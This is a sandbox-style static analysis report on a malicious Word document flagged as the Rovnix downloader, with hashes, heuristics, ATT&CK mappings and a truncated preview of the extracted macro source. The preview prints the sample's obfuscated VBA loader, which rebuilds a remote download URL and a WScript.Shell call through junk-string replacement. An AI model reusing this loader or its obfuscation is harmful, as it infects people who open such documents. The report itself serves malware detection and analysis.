Rovnix — Office (OOXML) malware analysis

Static analysis result for SHA-256 cecc04094781c3d8…

MALICIOUS

Office (OOXML)

62.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-11-20
MD5: 1231711812ceecce5163337c82aa1e7d SHA-1: 99e2f9906d4480a1471853abb1755c44d414e749 SHA-256: cecc04094781c3d8440f54999d5b69e4ab7f4f2a3a0d6e85878ca60c0cafa34c
322 Risk Score

Malware Insights

Rovnix · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is an OOXML document containing obfuscated VBA macros, specifically an Auto_Close macro that uses CreateObject to execute code. ClamAV identifies this as Doc.Downloader.Rovnix-6497736-0, indicating its role as a downloader. The VBA code is heavily obfuscated and appears to be designed to run a secondary payload, likely from a remote source.

Heuristics 7

  • ClamAV: Doc.Downloader.Rovnix-6497736-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Rovnix-6497736-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 9139 bytes
SHA-256: a8391dbd92a156ac6b6183561153c818994bbf11c920f16873c90589d2cbd3ca
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub OYTcDoJYWfCCLV()
  kykQLBTrc = 1913 + 123 + 1447 + 1062 + 836
XiHZTJZFBj = 1698 + 866 + 678 + 1562 + 637
XBdHwKq = "gI" + "kPAQYELdXEyWGSRoSdJqkug" + "XGEJ"
  Application.Run "TLcENnLuGdSdwW"
  qHMzudHKHEF = 152 + 95 + 322 + 1889 + 1536 + 1194
yUwwEVCD = LTrim("WIjJuDioIKLrdWR") + LTrim("RNLiYVwObfEQEZEOHTnHSyVPwSBpLT") + RTrim("dEQiuOquOkXXRpXurWTfEM") + RTrim("rqoWDHSQZpIJUyxzN") + RTrim("IOipIEEGbMNrEGozwZXG")
oPzxPIKrxLYD = 1133 + 1996
DQpqTSDBGT = "NDAdVV" + RTrim("jvKQvM") + LTrim("xzvByTSRREZWBxxDMUcQw")
vcyBTuJuQCk = RTrim("zIVgDGiKSTNqIuNEF") + "UJnXvMgPgurIVRkIY"
QdqxuCvW = 1626 + 1579 + 1832 + 1065
End Sub
Sub jXTdNRgYuTznVM()
  jDwgbWA = 718 - 1631 - 878 - 797 - 659
IOiJvubUiNxk = 983 - 1744 - 1598 - 1693 - 615
LUOByUdzq = 1050 - 368 - 1669
QWVrzMTvqCT = "vwpYMqpzSNPrnQdxN" + RTrim("NuiOqobKRODIXJXiQgngWTHfzjYY") + LTrim("AIHXKObBI")
  Application.Run "yjHCNIyFnVzGQHv"
  CfIJnwJPS = "wPAqzRuGxkbCEuLoNnUDvuNFjH" + "EjuAgAXdPNprCJUCNo"
kTRnIBnqQ = LTrim("UuSCdGFOHKIiSbiSJIK") + RTrim("HOXOHrgXQN") + "ArNkqMYrFkyBjJIAyGMAiXrkLozT" + LTrim("nSrAvJ") + LTrim("cYcFWkS")
dvuuJQJ = 742 - 568 - 1189 - 880 - 351
HBVizRIEJ = 969 - 1245
End Sub

Sub yjHCNIyFnVzGQHv()
 zRVCUVodxJjN = RTrim("xMQZXqKOQrTcVvipNCJkpyikVgRiL") + "dUnLZIRBXFD" + "YuwTCEoW" + "GUvJxNgIACNWwRFZnZBRHMNTInqfTj"
yOxPRkuJg = RTrim("NHrvFpNQxSj") + RTrim("JTnPXNyLKXyWCUMJIxp") + "DoqTARLdFovnPcUHHxGiXQg"
yoITLASQVCg = RTrim("jnUVpLKTKzwLybJMVFOPkJypJwRYuq") + "EvZGLwCHTZHLIbKufIF" + LTrim("EXVGFdFWYpJAPdUCz") + LTrim("HrbHZxLGyCqrXUGKppXnvRrTSu") + LTrim("GWXzNPqZoHwwvVvNWKPRxuQUCRYH")
JRdKCPOi = 826 - 862 - 1029 - 540
LGQncPqYH = 1568 - 602 - 1865 - 726
 YQypNfvfDHvprTidEb = "UQxWVZKcXpTTWCCHjwGSoinbhcYXniRifXoSxXOQTGYkDvuip hcYXniRifXoSxcYXniRifXoSxp://cXEHEcSnZOPTfoijowufjXOQTGYkDvuipowudXOQTGYkDvuipwd.coUQxWVZKcXpTT/OU/WCCHjwGSoinbcYXniRifXoSxcXEHEcSnZOPTUQxWVZKcXpTT.php?ucYXniRifXoSxUQxWVZKcXpTTXOQTGYkDvuip=brXOQTGYkDvuipndb"
YQypNfvfDHvprTidEb = Replace(YQypNfvfDHvprTidEb, "UQxWVZKcXpTT", "m")
GARLKSARV = 998 - 496 - 1966 - 1962 - 726 - 1689
pNCcTbUAr = 1965 + 1486
RpjuAMOk = RTrim("UHrRbEwuQCPcBuD") + "bkTyrqEUPY" + "VSUOjAILuBgNC"
YQypNfvfDHvprTidEb = Replace(YQypNfvfDHvprTidEb, "XOQTGYkDvuip", "a")
OdVMbgFrKEZo = 1160 + 391 + 1368 + 1081
LPgVxqXDKPzB = LTrim("cIUyGZnQTxGvXXVZBACpBd") + "FxUUgSNYBXcXSFPyXZ" + "gXHNpRbwpYuGBWEINIunyFMGrJuyPy"
xHSUwcYwUVvz = "yZRnWRjyyINWqBOJCZXUGqEBBUoPJY" + "du" + LTrim("UZrWBYdAYfpTOPXAJbO") + "OwKGEKXuk" + "ubxGbZLEUKbSbon"
YQypNfvfDHvprTidEb = Replace(YQypNfvfDHvprTidEb, "WCCHjwGSoinb", "s")
PATiOGPGpz = 1310 + 706 + 1512 + 1781
HgEQvyfO = 1983 + 395
YQypNfvfDHvprTidEb = Replace(YQypNfvfDHvprTidEb, "cYXniRifXoSx", "t")
YQypNfvfDHvprTidEb = Replace(YQypNfvfDHvprTidEb, "cXEHEcSnZOPT", "e")
YQypNfvfDHvprTidEb = Replace(YQypNfvfDHvprTidEb, "AkxwVZXPIjXq", "l")
EvYXygYVXcpH = 832 + 1113
LfjEFMBWSXL = "Wckcu" + RTrim("gYVkJMHHCzdSYHzfXopdPNIZ") + LTrim("PTZfjVJkNNpgxuyGzg")
upIbYTJojWji = "GMOdnJrC" + "koC" + "RASMFLOQKGRyIoqxypSdALNr" + LTrim("NPTrAgcprqAiq") + "RVkFXfCrg"
woKCBQTYrqpigdTkQj = "WScripfMrOxqTOjKoj.ShdnwWDDCZJEHiyFZVqQVDugifyFZVqQVDugif"
woKCBQTYrqpigdTkQj = Replace(woKCBQTYrqpigdTkQj, "UpZSMBEEUYXg", "m")
woKCBQTYrqpigdTkQj = Replace(woKCBQTYrqpigdTkQj, "AqWUUzyrGfAw", "a")
woKCBQTYrqpigdTkQj = Replace(woKCBQTYrqpigdTkQj, "IbLWxSciNBWJ", "s")
YQbEXHbZCXA = 597 - 916 - 1820 - 1644
zwUYBJfLCB = 998 + 1258 + 10 + 1838 + 267
WLyZzgAFwZpW = LTrim("cNJnprYC") + RTrim("SjLWLnbqvGBvpyoWzpcArpgLTXkbH") + "AzHQUTWA" + "FVk"
woKCBQTYrqpigdTkQj = Replace(woKCBQTYrqpigdTkQj, "fMrOxqTOjKoj", "t")
IjAuwwvDIX = 103 + 94 + 1846 + 1976
TbCNDAB = RTrim("oKPzdp") + "UwwWHqZgTSogHMNquYOyX"
kgNfcOFA = LTrim("QpqBjOY") + "MXdYNyfxN" + "WwEocdywrUSHykubHP" + "bMvGOdVuuwcYFCwvRY" 
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: d2f6efeeb3002ed1bad330939d273b67cff7ef264784fa32c8eadc7dda335c99
Detection
ClamAV: Doc.Downloader.Rovnix-6497736-0
Obfuscation or payload: unlikely

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